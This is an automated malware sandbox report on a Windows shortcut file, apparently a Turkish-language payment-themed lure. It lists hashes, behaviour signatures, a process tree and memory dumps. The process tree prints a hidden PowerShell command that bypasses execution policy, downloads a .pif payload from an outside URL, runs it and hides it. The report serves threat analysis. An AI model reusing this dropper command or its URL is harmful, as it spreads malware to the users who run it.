Analysis
- max time kernel
149s - max time network
152s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
27/04/2026, 04:24
General
- Target Odeme -(Mayis).lnk
- Size 2KB
- Sample260427-e1p6msew2k
- SHA256 2ebd9ab34d58f221ce2034b9f43ad8b128fbc683dab962fbf6222b4eef2a3618
Malware Config
Extracted
-
ps1
-
exe.dropper
https://www.dobiamfollollc.online/konzjrngodznhitsthjfxjydtjytddy/uiuGJRSgfzjzdgzdghstRgsgtesht/cfhfcg.pif
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Odeme -(Mayis).lnk"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRShElL.exe"C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRShElL.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command srms-apr.dat;(new-object System.Net.WebClient).DownloadFile('https://www.dobiamfollollc.online/konzjrngodznhitsthjfxjydtjytddy/uiuGJRSgfzjzdgzdghstRgsgtesht/cfhfcg.pif','screenbiwus.pif');./'screenbiwus.pif';(get-item 'screenbiwus.pif').Attributes += 'Hidden';2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_unupns1a.bgy.ps1
memory/408-21-0x000001CC771E0000-0x000001CC771FC000-memory.dmp
memory/408-24-0x000001CC771D0000-0x000001CC771D8000-memory.dmp
memory/408-3-0x000001CC767C0000-0x000001CC767D0000-memory.dmp
memory/408-11-0x000001CC767C0000-0x000001CC767D0000-memory.dmp
memory/408-18-0x000001CC770E0000-0x000001CC770FC000-memory.dmp
memory/408-19-0x000001CC77100000-0x000001CC771B3000-memory.dmp
memory/408-20-0x000001CC770D0000-0x000001CC770DA000-memory.dmp
memory/408-2-0x000001CC767C0000-0x000001CC767D0000-memory.dmp
memory/408-4-0x000001CC76BB0000-0x000001CC76BD2000-memory.dmp
memory/408-22-0x000001CC771C0000-0x000001CC771CA000-memory.dmp
memory/408-23-0x000001CC77220000-0x000001CC7723A000-memory.dmp
memory/408-25-0x000001CC77200000-0x000001CC77206000-memory.dmp
memory/408-26-0x000001CC77210000-0x000001CC7721A000-memory.dmp
memory/408-29-0x000001CC76750000-0x000001CC7675C000-memory.dmp
memory/408-30-0x000001CC76800000-0x000001CC76812000-memory.dmp
memory/2572-33-0x00000236AE4E0000-0x00000236AE600000-memory.dmp
memory/3300-31-0x0000022CAE4F0000-0x0000022CAE68A000-memory.dmp
memory/3300-32-0x0000022CAE8A0000-0x0000022CAE8AC000-memory.dmp